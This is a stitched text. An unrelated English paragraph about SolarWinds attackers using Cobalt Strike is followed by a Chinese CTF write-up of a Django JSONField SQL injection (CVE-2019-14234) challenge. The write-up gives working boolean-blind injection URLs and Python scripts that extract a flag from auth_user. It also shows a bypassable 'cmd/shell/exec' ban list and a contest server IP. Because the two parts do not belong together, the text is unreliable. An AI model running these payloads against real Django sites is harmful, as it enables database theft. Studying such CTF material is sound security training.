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The other day Microsoft published a great deep dive around the second stage payloads and hands-on hacking activities of the Solarwinds/Sunburst incidents that where uncovered late 2020. One thing that is so interesting is the use of off the shelve Cobalt Strike tooling and templates for command & control. After doing all the hard work and customization to seamlessly backdoor binaries the adversaries sem to use Cobalt Strike. Intel for Red Teamers Although, they did add customizations with some interesting features, which are interesting for red teamers to be aware of.

序

有学弟问我月赛题目源码，感觉当时写的 wp 可以拿来水一篇博客（笑） :)

概述

题目在 https://github.com/IanSmith123/your_ip

cve-2019-14234 django jsonfield 注入

此处构造了一个插入数据库和查询数据库的操作，其中查询的操作是可以控制注入的

接口两个

1 2 3 http://ip/save/?ip=1.1.1.1&domain=example.com http://ip/query/?domain=example.com 代码泄露

首页图路径

1 http://ip/static

扫描可得存在http://ip/static/www.zip。

1 2 Hint 1: I love something else beside Assassins creed. :) Hint 2: There is something interesting in /static, try to find it. :)

一早上过去了，没有人扫到www.zip，因为一般的扫描器没有开启递归扫描，dirmap修改配置文件开启递归可以很快扫到。给了hint1和hint2之后，有两个同学扫到了www.zip，下午更晚一点的时候第三个同学扫到了www.zip。

在hint2的基础上，可以直接扫ip:port/static，一般情况下可以在半分钟内扫到泄露的代码。

审计

下载后审计代码，可以找到

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # ip/views.py def query_ip(request): dic = request.GET dic = dict(dic) if len(dic) == 0: return render(request, 'query.html') # good idea for all kind of query dic = {f"ip__{k}": dic[k][0] for k in dic} print(dic) my_ip = MyIP.objects.filter(**dic).all().values() my_ip = [item for item in my_ip] return JsonResponse(my_ip, safe=False)

其中两行是bug的起源，参考 https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html

1 2 dic = {f"ip__{k}": dic[k][0] for k in dic} my_ip = MyIP.objects.filter(**dic).all().values()

此处控制 domain处，造成sql注入

1 http://ip/query/?do%27main=example.com

因为在题目里面，django关闭了debug，遇到错误直接返回500，如果语句构造正确，那么返回200。

因为已经有views.py了，本地可以新建一个django项目，把views.py放进去，可以直接调试构造的sql语句。

构造Poc

布尔盲注 如果2>1的条件成立，那么返回结果，如果2>1不成立，那么返回空

1 2 3 4 5 def fun(poc): url = f"http://ip:8029/query/?domain{poc}=b" r = requests.get(url) print(r.text) fun("""')>'1' or 2>1--""") #

因为这里不会返回注入的结果，此处可以使用布尔盲注的方式来判断数据。

1 124.16.75.162:31056/query/?domain')>'1' or 2>1--=b

1 http://124.16.75.162:31056/query/?domain%27)%3E%271%27%20or%202%3C1--=b

因此可以构造一个简单的盲注脚本

1 2 3 4 5 def bool_blind(poc): url = f"http://ip:8029/query/?domain')>'1' or {poc}--=b" print(url) r = requests.get(url) print(r.text)

接下来就是常规的猜表名长度，猜表名，列名的阶段

比如猜当前数据库的库名的第一个字符：

1 bool_blind("(select ascii(substr(current_database(),1,1))) between 30 and 98")

不给第三条hint也不会影响做题，但是考虑到表比较多，爆破可能花时间，所以直接给了hint。本地新建一个工程，运行docker-entrypoint.sh的内容可以看到flag在auth_user表，省略了猜表名猜列名的步骤，直接到爆破flag的阶段。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Hint 3: $ cat docker-entrypoint.sh #!/bin/bash set -ex cd /app chmod +x wait-for-it.sh ./wait-for-it.sh -t 0 psql:5432 -- echo "postgres is up" python manage.py makemigrations python manage.py migrate python manage.py shell -c "from django.contrib.auth.models import User; User.objects.create_user('flag', 'flag{fake_flag}', 'this_is_not_important') if not User.objects.filter(username='flag').exists() else 0;" exec "$@"% You'd better create your own web server in your local computer to find the table name, column name and debug your POC. 最终 poc

最终payload呼之欲出：

爆破flag字符串第一位的ascii码

1 bool_blind("(select ascii(substr((select email from auth_user),1,1))) between 0 and 102")

写脚本修改上限，或者人工二分，都可以快速得到flag

跋

代码泄露这个阶段卡了大家这么久，这个我得给大家道歉，我没想到这里会是第一个坑，好在连给了两个hint之后，终于有一位同学扫到了/static/www.zip，然后可能和他一起做题的另一个同学，也直接访问了这个路径。没过多久，就看到构造的ip{poc}=xxx打了过来，以为很快这题就会被秒了，因为已经构造出了布尔盲注的条件了，就差修改之后的判断语句了，可是很遗憾，这两位同学还是没有做出来这道题。

因为flag是在数据库里面，而这里可以使用postgres的命令执行拿到数据库的shell，但是此处拿到了shell也不能拿到flag，因为有shell也无法登录到数据库里面，也就无法拿到flag，所以我想过在数据库里面也放同样的一个flag，但是最终放弃了这个想法，而是写了个蹩脚的黑名单过滤，让做题的同学回到注入的思路中，结果忽略了大小写可以绕过 :( 日志里面看到这两位同学的大写的 CMD_EXEC打了过来，心里一惊 :) 不过最后还是没有拿到shell

1 2 3 4 5 6 def check_danger_string(s: str): ban_list = ['cmd', 'shell', 'exec', 'cyberpunk'] for item in ban_list: if item in s: return False return True

159.226.95.* 扫了挺久的，看日志很多次都和www.zip 擦肩而过，感觉这个扫描器可能不大好使，后来和他交流之后看到他扫到了源码，很快也在日志里面看到了yunsle开始构造poc，可是时间已经不够了 :)

虽然没有同学做出来这道题，不过看同学们做题还是开心的一天啊 :)

Les1ie

2021年1月10日00:11:58

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